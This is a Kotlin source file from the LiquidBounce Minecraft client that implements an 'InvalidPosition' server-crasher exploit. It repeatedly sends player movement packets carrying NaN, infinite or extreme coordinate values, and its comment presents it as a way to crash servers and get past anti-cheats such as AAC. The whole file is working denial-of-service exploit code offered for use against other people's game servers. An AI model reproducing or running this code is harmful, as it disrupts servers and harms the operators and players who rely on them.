/*
 * This file is part of LiquidBounce (https://github.com/CCBlueX/LiquidBounce)
 *
 * Copyright (c) 2015 - 2025 CCBlueX
 *
 * LiquidBounce is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * LiquidBounce is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with LiquidBounce. If not, see <https://www.gnu.org/licenses/>.
 */
package net.ccbluex.liquidbounce.features.module.modules.exploit.servercrasher.exploits

import net.ccbluex.liquidbounce.config.types.nesting.Choice
import net.ccbluex.liquidbounce.config.types.nesting.ChoiceConfigurable
import net.ccbluex.liquidbounce.config.types.NamedChoice
import net.ccbluex.liquidbounce.features.module.modules.exploit.servercrasher.ModuleServerCrasher
import net.ccbluex.liquidbounce.features.module.modules.exploit.servercrasher.ModuleServerCrasher.exploitChoices
import net.minecraft.network.packet.c2s.play.PlayerMoveC2SPacket

/**
 * Attempts to crash the server by sending invalid position packets.
 *
 * This exploit was known to work on anti-cheats such as AAC with e.g. NegativeInfinity. So,
 * this might come in handy, and you might be able to crash some servers with this.
 */
object InvalidPositionExploit : Choice("InvalidPosition") {

    override val parent: ChoiceConfigurable<Choice>
        get() = exploitChoices

    enum class PositionMode(override val choiceName: String) : NamedChoice {

        NEGATIVE_INFINITY("NegativeInfinity"),
        POSITIVE_INFINITY("PositiveInfinity"),
        NAN("NaN"),
        MAX_VALUE("MaxValue"),
        MIN_VALUE("MinValue");

        fun getNumber() = when (this) {
            NEGATIVE_INFINITY -> Double.NEGATIVE_INFINITY
            POSITIVE_INFINITY -> Double.POSITIVE_INFINITY
            NAN -> Double.NaN
            MAX_VALUE -> Double.MAX_VALUE
            MIN_VALUE -> Double.MIN_VALUE
        }

    }

    private var positionMode by enumChoice("Mode", PositionMode.NEGATIVE_INFINITY)
    private var times by int("Times", 1, 1..100)

    override fun enable() {
        repeat(times) {
            val number = positionMode.getNumber()
            network.sendPacket(PlayerMoveC2SPacket.PositionAndOnGround(number, number, number, true, false))
        }

        ModuleServerCrasher.enabled = false
    }

}
